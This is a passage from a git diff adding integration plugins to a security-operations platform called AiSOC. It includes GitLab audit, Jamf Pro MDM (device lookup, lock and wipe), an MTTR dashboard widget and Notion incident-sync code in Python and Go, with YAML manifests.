as exc:+ return {"error": str(exc)}++ base = self._base(context)+ action = payload.get("action", "fetch_events")+ since = payload.get("since") or (+ datetime.now(timezone.utc) - timedelta(minutes=15)+ ).isoformat()++ try:+ async with httpx.AsyncClient(+ timeout=30.0, base_url=base, headers=headers+ ) as client:+ if action == "test_connection":+ resp = await client.get(path, params={"per_page": 1})+ resp.raise_for_status()+ return {"connected": True, "status": resp.status_code}++ if action == "fetch_events":+ params = {+ "created_after": since,+ "per_page": payload.get("limit", 100),+ }+ resp = await client.get(path, params=params)+ resp.raise_for_status()+ events = resp.json()+ for event in events:+ event["_aisoc_source"] = "gitlab-audit"+ return {+ "action": action,+ "since": since,+ "scope": (context.get("config") or {}).get("scope") or "instance",+ "events": events,+ }++ return {"error": f"Unknown action: {action}"}+ except httpx.HTTPStatusError as exc:+ return {+ "error": f"gitlab error: {exc.response.status_code}",+ "body": exc.response.text[:512],+ }+ except httpx.HTTPError as exc:+ return {"error": f"gitlab request failed: {exc}"}diff --git a/plugins/gitlab-audit/plugin.yaml b/plugins/gitlab-audit/plugin.yamlnew file mode 100644index 000000000..24859c81c--- /dev/null+++ b/plugins/gitlab-audit/plugin.yaml@@ -0,0 +1,37 @@+id: gitlab-audit+name: GitLab Audit Connector+version: "1.0.0"+plugin_type: connector+description: >+ Pulls GitLab audit events at the instance, group, or project level. Mirrors+ the github-audit connector so security teams can monitor access changes,+ permission grants, secret rotations, and CI configuration changes across both+ GitHub and GitLab from a single SOC.+author: AiSOC Core Team+tags: [identity, gitlab, audit, devsecops, connector]+homepage: https://github.com/beenuar/aisoc/tree/main/plugins/gitlab-audit+license: MIT+min_aisoc_version: "4.0.0"+config_schema:+ type: object+ required: [token]+ properties:+ base_url:+ type: string+ default: https://gitlab.com+ description: "Base URL of GitLab instance (self-hosted or gitlab.com)"+ token:+ type: string+ description: "Personal access token or admin token with audit_event scope"+ secret: true+ scope:+ type: string+ enum: [instance, group, project]+ default: instance+ scope_id:+ type: string+ description: "Group or project ID when scope is group/project"+ poll_interval_seconds:+ type: integer+ default: 60+ minimum: 30diff --git a/plugins/jamf-mdm/go/main.go b/plugins/jamf-mdm/go/main.gonew file mode 100644index 000000000..61d930af1--- /dev/null+++ b/plugins/jamf-mdm/go/main.go@@ -0,0 +1,146 @@+// Package main is the Jamf Pro MDM connector reference implementation in Go.+//+// This binary registers a Jamf connector against the AiSOC Go plugin SDK and+// exposes the same surface as the Python implementation:+//+// get_device, list_devices, lock_device, wipe_device, get_compliance, get_inventory+//+// AiSOC's runtime currently loads Python plugins via plugin.py; this Go file+// is a reference for cross-language SDK parity for operators who want to+// build their own native binary plugins.+package main++import (+ "context"+ "encoding/json"+ "errors"+ "fmt"+ "net/http"+ "net/url"+ "strings"+ "time"++ "github.com/beenuar/aisoc/plugin-sdk-go/aisoc"+)++// JamfConnector implements the aisoc.Connector interface for Jamf Pro.+type JamfConnector struct {+ aisoc.BasePlugin++ httpClient *http.Client+ token string+ tokenExp time.Time+}++// Manifest returns the plugin manifest matching the canonical aisoc-plugin.json.+func (j *JamfConnector) Manifest() aisoc.PluginManifest {+ return aisoc.PluginManifest{+ ID: "jamf-mdm",+ Name: "Jamf Pro MDM Connector",+ Version: "1.0.0",+ PluginType: aisoc.PluginTypeConnector,+ Description: "Jamf Pro MDM connector for Apple device fleet management.",+ Author: "AiSOC Core Team",+ Tags: []string{"mdm", "jamf", "endpoint", "apple"},+ }+}++// OnLoad initializes the HTTP client.+func (j *JamfConnector) OnLoad(ctx context.Context, pctx aisoc.PluginContext) error {+ j.httpClient = &http.Client{Timeout: 30 * time.Second}+ return nil+}++// TestConnection verifies credentials by fetching an OAuth token.+func (j *JamfConnector) TestConnection(ctx context.Context, pctx aisoc.PluginContext) (bool, error) {+ if _, err := j.fetchToken(ctx, pctx); err != nil {+ return false, err+ }+ return true, nil+}++// FetchEvents pulls computer-inventory updates as a stream of audit events.+func (j *JamfConnector) FetchEvents(+ ctx context.Context,+ pctx aisoc.PluginContext,+ since string,+) (<-chan map[string]any, error) {+ out := make(chan map[string]any)+ go func() {+ defer close(out)+ token, err := j.fetchToken(ctx, pctx)+ if err != nil {+ out <- map[string]any{"error": err.Error()}+ return+ }+ base := strings.TrimRight(pctx.Config["jamf_url"].(string), "/")+ req, _ := http.NewRequestWithContext(+ ctx, "GET", base+"/api/v1/computers-inventory?page-size=100", nil,+ )+ req.Header.Set("Authorization", "Bearer "+token)+ req.Header.Set("Accept", "application/json")+ resp, err := j.httpClient.Do(req)+ if err != nil {+ out <- map[string]any{"error": err.Error()}+ return+ }+ defer resp.Body.Close()+ var body struct {+ Results []map[string]any `json:"results"`+ }+ _ = json.NewDecoder(resp.Body).Decode(&body)+ for _, r := range body.Results {+ out <- r+ }+ }()+ return out, nil+}++func (j *JamfConnector) fetchToken(ctx context.Context, pctx aisoc.PluginContext) (string, error) {+ if j.token != "" && time.Now().Before(j.tokenExp.Add(-30*time.Second)) {+ return j.token, nil+ }+ cfg := pctx.Config+ for _, k := range []string{"jamf_url", "client_id", "client_secret"} {+ if cfg[k] == nil {+ return "", fmt.Errorf("missing config key: %s", k)+ }+ }+ form := url.Values{}+ form.Set("grant_type", "client_credentials")+ form.Set("client_id", cfg["client_id"].(string))+ form.Set("client_secret", cfg["client_secret"].(string))++ base := strings.TrimRight(cfg["jamf_url"].(string), "/")+ req, _ := http.NewRequestWithContext(+ ctx, "POST", base+"/api/oauth/token", strings.NewReader(form.Encode()),+ )+ req.Header.Set("Content-Type", "application/x-www-form-urlencoded")++ resp, err := j.httpClient.Do(req)+ if err != nil {+ return "", err+ }+ defer resp.Body.Close()+ if resp.StatusCode >= 400 {+ return "", errors.New("jamf oauth: " + resp.Status)+ }+ var body struct {+ AccessToken string `json:"access_token"`+ ExpiresIn int `json:"expires_in"`+ }+ if err := json.NewDecoder(resp.Body).Decode(&body); err != nil {+ return "", err+ }+ j.token = body.AccessToken+ j.tokenExp = time.Now().Add(time.Duration(body.ExpiresIn) * time.Second)+ return j.token, nil+}++func main() {+ registry := aisoc.NewRegistry()+ if err := registry.Register(&JamfConnector{}); err != nil {+ panic(err)+ }+ fmt.Println("jamf-mdm reference plugin loaded")+}diff --git a/plugins/jamf-mdm/plugin.py b/plugins/jamf-mdm/plugin.pynew file mode 100644index 000000000..3e3577ddd--- /dev/null+++ b/plugins/jamf-mdm/plugin.py@@ -0,0 +1,133 @@+"""Jamf Pro MDM connector for AiSOC.++Supports OAuth client-credentials auth, computer/device lookup, lock + wipe+commands, and compliance metadata retrieval against the Jamf Pro REST API.++Required config (passed in via context["config"]):+ - jamf_url: https://<tenant>.jamfcloud.com+ - client_id: API role client ID+ - client_secret: API role client secret++Payload shape:+ {+ "action": "get_device" | "list_devices" | "lock_device" | "wipe_device"+ | "get_compliance" | "get_inventory",+ "device_id": "...", # required for device-scoped actions+ "passcode": "123456", # required for lock_device+ "wipe_token": "manager" # required for wipe_device+ }+"""+from __future__ import annotations++import time+from typing import Any++try:+ import httpx++ _HTTPX = True+except ImportError:+ _HTTPX = False+++_TOKEN_CACHE: dict[str, dict[str, Any]] = {}+++class Plugin:+ """Jamf Pro MDM connector plugin."""++ async def _token(self, client: "httpx.AsyncClient", config: dict[str, Any]) -> str:+ cache_key = f"{config['jamf_url']}::{config['client_id']}"+ cached = _TOKEN_CACHE.get(cache_key)+ if cached and cached["expires_at"] > time.time() + 30:+ return str(cached["access_token"])++ resp = await client.post(+ "/api/oauth/token",+ data={+ "grant_type": "client_credentials",+ "client_id": config["client_id"],+ "client_secret": config["client_secret"],+ },+ headers={"Content-Type": "application/x-www-form-urlencoded"},+ )+ resp.raise_for_status()+ body = resp.json()+ token = body["access_token"]+ _TOKEN_CACHE[cache_key] = {+ "access_token": token,+ "expires_at": time.time() + int(body.get("expires_in", 1500)),+ }+ return str(token)++ async def _client(self, context: dict[str, Any]) -> "httpx.AsyncClient":+ config = context.get("config") or {}+ if not all(k in config for k in ("jamf_url", "client_id", "client_secret")):+ raise ValueError("jamf_url, client_id, and client_secret are required")+ client = httpx.AsyncClient(+ base_url=config["jamf_url"].rstrip("/"),+ timeout=30,+ )+ token = await self._token(client, config)+ client.headers.update(+ {+ "Authorization": f"Bearer {token}",+ "Accept": "application/json",+ "Content-Type": "application/json",+ }+ )+ return client++ async def run(self, payload: dict[str, Any], context: dict[str, Any]) -> dict[str, Any]:+ if not _HTTPX:+ return {"error": "httpx not installed; run `pip install httpx`"}++ action = payload.get("action", "get_device")+ async with await self._client(context) as client:+ if action == "list_devices":+ resp = await client.get("/api/v1/computers-inventory", params={"page-size": 100})+ resp.raise_for_status()+ return {"action": action, "devices": resp.json().get("results", [])}+ if action == "get_device":+ device_id = payload.get("device_id", "")+ resp = await client.get(f"/api/v1/computers-inventory-detail/{device_id}")+ resp.raise_for_status()+ return {"action": action, "device": resp.json()}+ if action == "lock_device":+ device_id = payload.get("device_id", "")+ passcode = payload.get("passcode", "000000")+ resp = await client.post(+ f"/api/v1/computer-inventory/{device_id}/erase",+ json={"pin": passcode, "lock": True, "wipe": False},+ )+ resp.raise_for_status()+ return {"action": action, "device_id": device_id, "status": "locked"}+ if action == "wipe_device":+ device_id = payload.get("device_id", "")+ resp = await client.post(+ f"/api/v1/mobile-device-commands",+ json={+ "commandData": {"commandType": "ERASE_DEVICE"},+ "clientData": [{"managementId": device_id}],+ },+ )+ resp.raise_for_status()+ return {"action": action, "device_id": device_id, "status": "wipe_queued"}+ if action == "get_compliance":+ device_id = payload.get("device_id", "")+ resp = await client.get(f"/api/v1/computers-inventory-detail/{device_id}")+ resp.raise_for_status()+ data = resp.json()+ return {+ "action": action,+ "device_id": device_id,+ "compliant": bool(data.get("general", {}).get("managementId")),+ "last_inventory": data.get("general", {}).get("lastInventoryUpdate"),+ "os_version": data.get("operatingSystem", {}).get("version"),+ }+ if action == "get_inventory":+ device_id = payload.get("device_id", "")+ resp = await client.get(f"/api/v1/computers-inventory-detail/{device_id}")+ resp.raise_for_status()+ return {"action": action, "inventory": resp.json()}+ return {"error": f"Unknown action: {action}"}diff --git a/plugins/jamf-mdm/plugin.yaml b/plugins/jamf-mdm/plugin.yamlnew file mode 100644index 000000000..786047153--- /dev/null+++ b/plugins/jamf-mdm/plugin.yaml@@ -0,0 +1,28 @@+id: jamf-mdm+name: Jamf Pro MDM Connector+version: "1.0.0"+plugin_type: connector+description: >+ Jamf Pro MDM connector for Apple device fleet management. Looks up devices,+ retrieves compliance posture, locks compromised endpoints, wipes lost+ devices, and pulls inventory metadata for case enrichment — all via the+ Jamf Pro Classic and Pro REST APIs.+author: AiSOC Core Team+tags: [mdm, jamf, endpoint, apple, identity]+homepage: https://github.com/beenuar/aisoc/tree/main/plugins/jamf-mdm+license: MIT+min_aisoc_version: "4.0.0"+config_schema:+ type: object+ required: [jamf_url, client_id, client_secret]+ properties:+ jamf_url:+ type: string+ description: "Jamf Pro base URL, e.g. https://acme.jamfcloud.com"+ client_id:+ type: string+ description: "OAuth client (API role) ID"+ client_secret:+ type: string+ description: "OAuth client secret"+ secret: truediff --git a/plugins/mttr-widget/go/main.go b/plugins/mttr-widget/go/main.gonew file mode 100644index 000000000..d579d5e33--- /dev/null+++ b/plugins/mttr-widget/go/main.go@@ -0,0 +1,350 @@+// Package main is the MTTR dashboard widget reference plugin in Go.+//+// Computes Mean Time To Respond (MTTR) and Mean Time To Detect (MTTD)+// metrics from the AiSOC case database and returns a renderer-ready payload+// for the dashboard widget grid.+//+// Implements aisoc.Widget. The Python sibling at ../plugin.py is the+// canonical reference; this file mirrors its semantics so dashboards+// rendering either plugin produce the same shape of output.+package main++import (+ "context"+ "encoding/json"+ "errors"+ "fmt"+ "io"+ "math"+ "net/http"+ "net/url"+ "sort"+ "strings"+ "time"++ "github.com/beenuar/aisoc/plugin-sdk-go/aisoc"+)++const defaultAPIBase = "http://api:8000"++// MTTRWidget computes MTTR/MTTD breakdowns for the dashboard.+type MTTRWidget struct {+ aisoc.BasePlugin++ httpClient *http.Client+}++// Manifest declares this plugin to the runtime.+func (m *MTTRWidget) Manifest() aisoc.PluginManifest {+ return aisoc.PluginManifest{+ ID: "mttr-widget",+ Name: "MTTR Dashboard Widget",+ Version: "1.0.0",+ PluginType: aisoc.PluginTypeWidget,+ Description: "Computes MTTR/MTTD across closed AiSOC cases for the dashboard widget grid.",+ Author: "AiSOC Core Team",+ Tags: []string{"metrics", "mttr", "mttd", "dashboard", "widget"},+ }+}++// OnLoad initialises the HTTP client used to query the AiSOC API.+func (m *MTTRWidget) OnLoad(ctx context.Context, pctx aisoc.PluginContext) error {+ m.httpClient = &http.Client{Timeout: 30 * time.Second}+ return nil+}++// caseRecord is a minimal projection of the AiSOC `Case` object covering only+// the fields this widget needs.+type caseRecord struct {+ CreatedAt string `json:"created_at"`+ DetectedAt string `json:"detected_at"`+ ResolvedAt string `json:"resolved_at"`+ Severity string `json:"severity"`+}++// Compute fetches recent closed cases, computes MTTR/MTTD breakdowns, and+// returns a renderer-ready payload keyed exactly like the Python sibling so+// front-end widgets can target either implementation interchangeably.+func (m *MTTRWidget) Compute(+ ctx context.Context,+ req aisoc.WidgetRequest,+ pctx aisoc.PluginContext,+) (aisoc.WidgetResult, error) {+ cfg := pctx.Config+ if cfg == nil {+ cfg = map[string]any{}+ }+ payload := req.Payload+ if payload == nil {+ payload = map[string]any{}+ }++ lookback := readInt(payload, "lookback_days", readInt(cfg, "lookback_days", 30))+ pcts := readPercentiles(cfg, "percentiles", []int{50, 75, 95})++ var severityFilter []string+ if raw, ok := payload["severity_filter"].([]any); ok {+ for _, s := range raw {+ if v, ok := s.(string); ok && v != "" {+ severityFilter = append(severityFilter, v)+ }+ }+ }+ playbookFilter, _ := payload["playbook_filter"].(string)++ apiURL := readString(cfg, "api_url", "")+ if apiURL == "" {+ apiURL = pctx.APIBaseURL+ }+ if apiURL == "" {+ apiURL = defaultAPIBase+ }+ apiURL = strings.TrimRight(apiURL, "/")++ apiKey := readString(cfg, "api_key", "")+ if apiKey == "" {+ apiKey = pctx.APIToken+ }++ since := time.Now().UTC().Add(-time.Duration(lookback) * 24 * time.Hour).Format(time.RFC3339)+ q := url.Values{}+ q.Set("status", "closed")+ q.Set("created_after", since)+ q.Set("limit", "1000")+ if len(severityFilter) > 0 {+ q.Set("severity", strings.Join(severityFilter, ","))+ }+ if playbookFilter != "" {+ q.Set("playbook_id", playbookFilter)+ }++ cases, err := m.fetchCases(ctx, apiURL, apiKey, q)+ if err != nil {+ return aisoc.WidgetResult{Error: err.Error()}, err+ }++ if len(cases) == 0 {+ return aisoc.WidgetResult{+ Data: map[string]any{+ "sample_size": 0,+ "mttr_seconds": map[string]any{},+ "mttd_seconds": map[string]any{},+ "by_severity": map[string]any{},+ "trend": []any{},+ },+ }, nil+ }++ var mttrVals []float64+ var mttdVals []float64+ bySev := map[string][]float64{}+ daily := map[string][]float64{}++ for _, c := range cases {+ if c.ResolvedAt == "" {+ continue+ }+ tCreated, errCreated := parseTime(c.CreatedAt)+ detected := c.DetectedAt+ if detected == "" {+ detected = c.CreatedAt+ }+ tDetected, errDetected := parseTime(detected)+ tResolved, errResolved := parseTime(c.ResolvedAt)+ if errCreated != nil || errDetected != nil || errResolved != nil {+ continue+ }+ mttr := tResolved.Sub(tCreated).Seconds()+ mttd := tCreated.Sub(tDetected).Seconds()+ if mttr < 0 || mttd < 0 {+ continue+ }+ mttrVals = append(mttrVals, mttr)+ if mttd < 0 {+ mttd = 0+ }+ mttdVals = append(mttdVals, mttd)+ sev := strings.ToLower(c.Severity)+ if sev == "" {+ sev = "unknown"+ }+ bySev[sev] = append(bySev[sev], mttr)+ dayKey := tResolved.UTC().Format("2006-01-02")+ daily[dayKey] = append(daily[dayKey], mttr)+ }++ summary := func(vals []float64) map[string]any {+ out := map[string]any{}+ if len(vals) == 0 {+ return out+ }+ out["mean"] = round1(mean(vals))+ for _, p := range pcts {+ out[fmt.Sprintf("p%d", p)] = round1(percentile(vals, p))+ }+ return out+ }++ bySevOut := map[string]any{}+ for sev, vs := range bySev {+ bySevOut[sev] = map[string]any{+ "mean_mttr": round1(mean(vs)),+ "count": len(vs),+ }+ }++ dayKeys := make([]string, 0, len(daily))+ for k := range daily {+ dayKeys = append(dayKeys, k)+ }+ sort.Strings(dayKeys)+ trend := make([]map[string]any, 0, len(dayKeys))+ for _, k := range dayKeys {+ trend = append(trend, map[string]any{+ "date": k,+ "mean_mttr": round1(mean(daily[k])),+ })+ }++ return aisoc.WidgetResult{+ SampleSize: len(mttrVals),+ Data: map[string]any{+ "sample_size": len(mttrVals),+ "mttr_seconds": summary(mttrVals),+ "mttd_seconds": summary(mttdVals),+ "by_severity": bySevOut,+ "trend": trend,+ },+ }, nil+}++func (m *MTTRWidget) fetchCases(+ ctx context.Context,+ apiURL, apiKey string,+ q url.Values,+) ([]caseRecord, error) {+ full := apiURL + "/api/v1/cases?" + q.Encode()+ req, err := http.NewRequestWithContext(ctx, http.MethodGet, full, nil)+ if err != nil {+ return nil, err+ }+ if apiKey != "" {+ req.Header.Set("X-API-Key", apiKey)+ }+ req.Header.Set("Accept", "application/json")+ resp, err := m.httpClient.Do(req)+ if err != nil {+ return nil, err+ }+ defer resp.Body.Close()+ body, _ := io.ReadAll(resp.Body)+ if resp.StatusCode >= 400 {+ return nil, fmt.Errorf("aisoc cases api: %s: %s", resp.Status, string(body))+ }+ var envelope struct {+ Items []caseRecord `json:"items"`+ }+ if err := json.Unmarshal(body, &envelope); err != nil {+ return nil, errors.New("decode cases response: " + err.Error())+ }+ return envelope.Items, nil+}++// parseTime accepts both RFC3339 and the `2006-01-02T15:04:05` shape that the+// Python `datetime.fromisoformat` defaults to.+func parseTime(s string) (time.Time, error) {+ if s == "" {+ return time.Time{}, errors.New("empty timestamp")+ }+ if t, err := time.Parse(time.RFC3339Nano, s); err == nil {+ return t, nil+ }+ if t, err := time.Parse(time.RFC3339, s); err == nil {+ return t, nil+ }+ return time.Parse("2006-01-02T15:04:05", s)+}++func mean(vals []float64) float64 {+ if len(vals) == 0 {+ return 0+ }+ var sum float64+ for _, v := range vals {+ sum += v+ }+ return sum / float64(len(vals))+}++// percentile uses linear interpolation between closest ranks (matches+// Python's `_percentile` helper in the sibling plugin.py).+func percentile(vals []float64, pct int) float64 {+ if len(vals) == 0 {+ return 0+ }+ sorted := append([]float64(nil), vals...)+ sort.Float64s(sorted)+ k := float64(len(sorted)-1) * float64(pct) / 100+ f := int(math.Floor(k))+ c := int(math.Min(float64(f+1), float64(len(sorted)-1)))+ return sorted[f] + (sorted[c]-sorted[f])*(k-float64(f))+}++func round1(v float64) float64 {+ return math.Round(v*10) / 10+}++func readInt(m map[string]any, key string, fallback int) int {+ if v, ok := m[key]; ok {+ switch x := v.(type) {+ case int:+ return x+ case int64:+ return int(x)+ case float64:+ return int(x)+ }+ }+ return fallback+}++func readString(m map[string]any, key, fallback string) string {+ if v, ok := m[key].(string); ok && v != "" {+ return v+ }+ return fallback+}++func readPercentiles(m map[string]any, key string, fallback []int) []int {+ v, ok := m[key]+ if !ok {+ return fallback+ }+ raw, ok := v.([]any)+ if !ok {+ return fallback+ }+ var out []int+ for _, x := range raw {+ switch n := x.(type) {+ case int:+ out = append(out, n)+ case int64:+ out = append(out, int(n))+ case float64:+ out = append(out, int(n))+ }+ }+ if len(out) == 0 {+ return fallback+ }+ return out+}++func main() {+ registry := aisoc.NewRegistry()+ if err := registry.Register(&MTTRWidget{}); err != nil {+ panic(err)+ }+ fmt.Println("mttr-widget reference plugin loaded")+}diff --git a/plugins/mttr-widget/go/mttr-widget-test b/plugins/mttr-widget/go/mttr-widget-testnew file mode 100755index 000000000..81a920c99Binary files /dev/null and b/plugins/mttr-widget/go/mttr-widget-test differdiff --git a/plugins/notion-incidents/go/main.go b/plugins/notion-incidents/go/main.gonew file mode 100644index 000000000..1abd1135d--- /dev/null+++ b/plugins/notion-incidents/go/main.go@@ -0,0 +1,258 @@+// Package main is the Notion incidents sync action reference implementation in Go.+package main++import (+ "bytes"+ "context"+ "encoding/json"+ "errors"+ "fmt"+ "io"+ "net/http"+ "time"++ "github.com/beenuar/aisoc/plugin-sdk-go/aisoc"+)++const apiBase = "https://api.notion.com/v1"++// NotionAction implements aisoc.Action for syncing incidents to a Notion database.+type NotionAction struct {+ aisoc.BasePlugin++ httpClient *http.Client+}++func (n *NotionAction) Manifest() aisoc.PluginManifest {+ return aisoc.PluginManifest{+ ID: "notion-incidents",+ Name: "Notion Incidents Sync",+ Version: "1.0.0",+ PluginType: aisoc.PluginTypeAction,+ Description: "Syncs AiSOC incidents to a Notion database for runbook archives.",+ Author: "AiSOC Core Team",+ Tags: []string{"collaboration", "notion", "incidents", "postmortem", "action"},+ }+}++func (n *NotionAction) OnLoad(_ context.Context, _ aisoc.PluginContext) error {+ n.httpClient = &http.Client{Timeout: 30 * time.Second}+ return nil+}++func (n *NotionAction) SupportedActions() []string {+ return []string{+ "create_incident_page",+ "update_incident_page",+ "append_post_mortem",+ }+}++func (n *NotionAction) Execute(+ ctx context.Context,+ req aisoc.ActionRequest,+ pctx aisoc.PluginContext,+) (aisoc.ActionResult, error) {+ result := aisoc.ActionResult{+ ActionID: req.ActionID,+ DryRun: req.DryRun,+ Details: map[string]any{},+ }++ token, _ := pctx.Config["api_token"].(string)+ dbID, _ := pctx.Config["database_id"].(string)+ if token == "" || dbID == "" {+ result.Error = "api_token and database_id are required"+ return result, errors.New(result.Error)+ }+ notionVersion, _ := pctx.Config["notion_version"].(string)+ if notionVersion == "" {+ notionVersion = "2022-06-28"+ }++ if req.DryRun {+ result.Success = true+ result.Summary = "dry-run: no Notion API call made"+ result.Details["action"] = req.ActionID+ return result, nil+ }++ switch req.ActionID {+ case "create_incident_page":+ body := map[string]any{+ "parent": map[string]any{"database_id": dbID},+ "properties": buildProps(req.Params),+ "children": buildChildren(req.Params),+ }+ raw, err := n.do(ctx, token, notionVersion, http.MethodPost, "/pages", body)+ if err != nil {+ result.Error = err.Error()+ return result, err+ }+ var parsed map[string]any+ _ = json.Unmarshal(raw, &parsed)+ pageID, _ := parsed["id"].(string)+ result.Success = true+ result.Summary = "created Notion page " + pageID+ result.Details["page"] = parsed+ return result, nil++ case "update_incident_page":+ pageID, _ := req.Params["page_id"].(string)+ if pageID == "" {+ result.Error = "page_id is required"+ return result, errors.New(result.Error)+ }+ body := map[string]any{"properties": buildProps(req.Params)}+ raw, err := n.do(+ ctx, token, notionVersion, http.MethodPatch, "/pages/"+pageID, body,+ )+ if err != nil {+ result.Error = err.Error()+ return result, err+ }+ var parsed map[string]any+ _ = json.Unmarshal(raw, &parsed)+ result.Success = true+ result.Summary = "updated Notion page " + pageID+ result.Details["page"] = parsed+ return result, nil++ case "append_post_mortem":+ pageID, _ := req.Params["page_id"].(string)+ text, _ := req.Params["post_mortem"].(string)+ if pageID == "" || text == "" {+ result.Error = "page_id and post_mortem text required"+ return result, errors.New(result.Error)+ }+ body := map[string]any{+ "children": []map[string]any{+ {+ "object": "block",+ "type": "heading_2",+ "heading_2": map[string]any{+ "rich_text": []map[string]any{+ {"type": "text", "text": map[string]any{"content": "Post-mortem"}},+ },+ },+ },+ {+ "object": "block",+ "type": "paragraph",+ "paragraph": map[string]any{+ "rich_text": []map[string]any{+ {"type": "text", "text": map[string]any{"content": truncate(text, 1900)}},+ },+ },+ },+ },+ }+ raw, err := n.do(+ ctx, token, notionVersion, http.MethodPatch,+ "/blocks/"+pageID+"/children", body,+ )+ if err != nil {+ result.Error = err.Error()+ return result, err+ }+ var parsed map[string]any+ _ = json.Unmarshal(raw, &parsed)+ result.Success = true+ result.Summary = "appended post-mortem to page " + pageID+ result.Details["blocks"] = parsed+ return result, nil++ default:+ result.Error = "unknown action: " + req.ActionID+ return result, errors.New(result.Error)+ }+}++func buildProps(params map[string]any) map[string]any {+ title, _ := params["title"].(string)+ if title == "" {+ title = "AiSOC Incident"+ }+ severity, _ := params["severity"].(string)+ if severity == "" {+ severity = "medium"+ }+ status, _ := params["status"].(string)+ if status == "" {+ status = "open"+ }+ props := map[string]any{+ "Name": map[string]any{+ "title": []map[string]any{{"text": map[string]any{"content": title}}},+ },+ "Severity": map[string]any{"select": map[string]any{"name": severity}},+ "Status": map[string]any{"select": map[string]any{"name": status}},+ }+ if u, ok := params["case_url"].(string); ok && u != "" {+ props["AiSOC Case"] = map[string]any{"url": u}+ }+ return props+}++func buildChildren(params map[string]any) []map[string]any {+ summary, _ := params["summary"].(string)+ if summary == "" {+ return nil+ }+ return []map[string]any{+ {+ "object": "block",+ "type": "paragraph",+ "paragraph": map[string]any{+ "rich_text": []map[string]any{+ {"type": "text", "text": map[string]any{"content": truncate(summary, 1900)}},+ },+ },+ },+ }+}++func (n *NotionAction) do(+ ctx context.Context,+ token, notionVersion, method, path string,+ body any,+) ([]byte, error) {+ buf, err := json.Marshal(body)+ if err != nil {+ return nil, err+ }+ req, err := http.NewRequestWithContext(+ ctx, method, apiBase+path, bytes.NewReader(buf),+ )+ if err != nil {+ return nil, err+ }+ req.Header.Set("Authorization", "Bearer "+token)+ req.Header.Set("Notion-Version", notionVersion)+ req.Header.Set("Content-Type", "application/json")+ resp, err := n.httpClient.Do(req)+ if err != nil {+ return nil, err+ }+ defer resp.Body.Close()+ raw, _ := io.ReadAll(resp.Body)+ if resp.StatusCode >= 400 {+ return raw, errors.New("notion: " + resp.Status)+ }+ return raw, nil+}++func truncate(s string, n int) string {+ if len(s) <= n {+ return s+ }+ return s[:n]+}++func main() {+ registry := aisoc.NewRegistry()+ if err := registry.Register(&NotionAction{}); err != nil {+ panic(err)+ }+ fmt.Println("notion-incidents reference plugin loaded")+}diff --git a/plugins/notion-incidents/plugin.py b/plugins/notion-incidents/plugin.pynew file mode 100644index 000000000..7d2f9a70d--- /dev/null+++ b/plugins/notion-incidents/plugin.py@@ -0,0 +1,140 @@+"""Notion incidents sync action plugin for AiSOC."""+from __future__ import annotations++from typing import Any++import httpx++API_BASE = "https://api.notion.com/v1"+++class Plugin:+ """Notion incidents sync plugin."""++ def _headers(self, context: dict[str, Any]) -> dict[str, str]:+ config = context.get("config") or {}+ if not config.get("api_token"):+ raise ValueError("api_token is required")+ return {+ "Authorization": f"Bearer {config['api_token']}",+ "Notion-Version": config.get("notion_version") or "2022-06-28",+ "Content-Type": "application/json",+ }++ def _props(self, payload: dict[str, Any]) -> dict[str, Any]:+ title = payload.get("title") or "AiSOC Incident"+ severity = payload.get("severity") or "medium"+ status = payload.get("status") or "open"+ case_url = payload.get("case_url")+ techniques = payload.get("mitre_techniques") or []++ properties: dict[str, Any] = {+ "Name": {"title": [{"text": {"content": title}}]},+ "Severity": {"select": {"name": severity}},+ "Status": {"select": {"name": status}},+ }+ if case_url:+ properties["AiSOC Case"] = {"url": case_url}+ if techniques:+ properties["MITRE"] = {+ "multi_select": [{"name": t} for t in techniques[:10]]+ }+ return properties++ def _children(self, payload: dict[str, Any]) -> list[dict[str, Any]]:+ summary = payload.get("summary") or ""+ if not summary:+ return []+ return [+ {+ "object": "block",+ "type": "paragraph",+ "paragraph": {+ "rich_text": [{"type": "text", "text": {"content": summary[:1900]}}]+ },+ }+ ]++ async def run(self, payload: dict[str, Any], context: dict[str, Any]) -> dict[str, Any]:+ try:+ headers = self._headers(context)+ except ValueError as exc:+ return {"error": str(exc)}++ config = context.get("config") or {}+ database_id = config.get("database_id")+ if not database_id:+ return {"error": "database_id is required"}++ action = payload.get("action", "create_incident_page")++ try:+ async with httpx.AsyncClient(+ timeout=30.0, base_url=API_BASE, headers=headers+ ) as client:+ if action == "create_incident_page":+ body = {+ "parent": {"database_id": database_id},+ "properties": self._props(payload),+ "children": self._children(payload),+ }+ resp = await client.post("/pages", json=body)+ resp.raise_for_status()+ data = resp.json()+ return {+ "action": action,+ "page_id": data.get("id"),+ "url": data.get("url"),+ }++ if action == "update_incident_page":+ page_id = payload.get("page_id")+ if not page_id:+ return {"error": "page_id is required"}+ body = {"properties": self._props(payload)}+ resp = await client.patch(f"/pages/{page_id}", json=body)+ resp.raise_for_status()+ return {"action": action, "ok": True, "page_id": page_id}++ if action == "append_post_mortem":+ page_id = payload.get("page_id")+ text = payload.get("post_mortem") or payload.get("summary") or ""+ if not page_id or not text:+ return {"error": "page_id and post_mortem text required"}+ body = {+ "children": [+ {+ "object": "block",+ "type": "heading_2",+ "heading_2": {+ "rich_text": [+ {"type": "text", "text": {"content": "Post-mortem"}}+ ]+ },+ },+ {+ "object": "block",+ "type": "paragraph",+ "paragraph": {+ "rich_text": [+ {+ "type": "text",+ "text": {"content": text[:1900]},+ }+ ]+ },+ },+ ]+ }+ resp = await client.patch(f"/blocks/{page_id}/children", json=body)+ resp.raise_for_status()+ return {"action": action, "ok": True, "page_id": page_id}++ return {"error": f"Unknown action: {action}"}+ except httpx.HTTPStatusError as exc:+ return {+ "error": f"notion error: {exc.response.status_code}",+ "body": exc.response.text[:512],+ }+ except httpx.HTTPError as exc:+ return {"error": f"notion request failed: {exc}"}diff --git a/plugins/notion-incidents/plugin.yaml b/plugins/notion-incidents/plugin.yamlnew file mode 100644index 000000000..0d8a7807a--- /dev/null+++ b/plugins/notion-incidents/plugin.yaml@@ -0,0 +1,32 @@+id: notion-incidents+name: Notion Incidents Sync+version: "1.0.0"+plugin_type: action+description: >+ Syncs AiSOC incidents to a Notion database. Creates a new page per+ incident with severity, status, MITRE techniques, summary, and a link+ back to the AiSOC case. Useful for runbook archives and post-mortems.+author: AiSOC Core Team+tags: [collaboration, notion, incidents, postmortem, action]+homepage: https://github.com/beenuar/aisoc/tree/main/plugins/notion-incidents+license: MIT+min_aisoc_version: "4.0.0"+config_schema:+ type: object+ required: [api_token, database_id]+ properties:+ api_token:+ type: string+ description: "Notion integration token 